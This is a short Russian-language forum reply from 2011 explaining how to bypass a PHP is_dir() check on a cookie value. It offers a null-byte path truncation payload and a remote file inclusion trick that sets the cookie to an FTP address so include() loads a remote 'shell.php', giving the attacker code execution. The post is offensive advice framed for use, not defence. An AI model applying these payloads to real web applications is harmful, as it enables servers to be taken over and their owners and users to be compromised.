
14.07.2011, 18:49
|
|
Новичок
Регистрация: 15.05.2010
Сообщений: 0
С нами:
8417113
Репутация:
0
|
|
Сообщение от ysmat
можно ли обойти проверку в is_dir
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if (@[/COLOR][COLOR="#0000BB"]is_dir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'abcd'[/COLOR][COLOR="#007700"]]) {[/COLOR][COLOR="#0000BB"]$config[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'abcd'[/COLOR][COLOR="#007700"]]; }[/COLOR][/COLOR]
то есть проверку на директорию
допустим нужно задать такой путь
abcd = /home/www/sell.gif
Возможно.
Если строка переданная в is_dir, будет наполовину обрезана нулл-байтом, а функция в которую она будет помещена, не будет его считать(Или он после будет убираться) то возможно вставить любой путь.
Код:
/home/www/%00sell.gif
Ну и ещё один вариант:
Если переменная далее будет помещена в функцию, не добавляя к ней ничего в начале(Возможно и добавляя, зависит от кода), и добавляя префикс в конце, а функция будет наподобие той, которая работает с файлами, то возможно будет передать удалённую директорию, например по протоколу FTP:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'abcd'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#DD0000"]'ftp://10.0.0.1/'[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#FF8000"]//-----------
[/COLOR][COLOR="#007700"]if (@[/COLOR][COLOR="#0000BB"]is_dir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'abcd'[/COLOR][COLOR="#007700"]])
{
include([/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'abcd'[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]'shell.php'[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]//Возможны и другие функции, будет лучше если приведёшь полный код
//Ну разумеется на настройки php.ini тоже следует обратить внимание
[/COLOR][COLOR="#007700"]}[/COLOR][/COLOR]
Даже если в данной ситуации путь будет неизвестен, то будет возможно запрограммировать сервер что бы передавал нужный ко по любому запросу.
|
|
|